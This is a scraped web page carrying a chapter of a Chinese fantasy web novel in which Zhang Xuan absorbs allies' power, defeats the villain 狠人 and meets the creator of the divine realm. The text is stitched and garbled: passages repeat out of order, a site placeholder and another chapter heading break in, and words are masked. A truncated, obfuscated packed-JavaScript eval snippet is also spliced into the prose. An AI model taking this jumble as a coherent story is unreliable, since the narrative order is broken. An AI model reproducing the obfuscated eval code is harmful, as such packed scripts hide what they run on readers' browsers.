孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,**开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被**出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第205章包抄合围 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经**是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,**顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽**下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会**,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 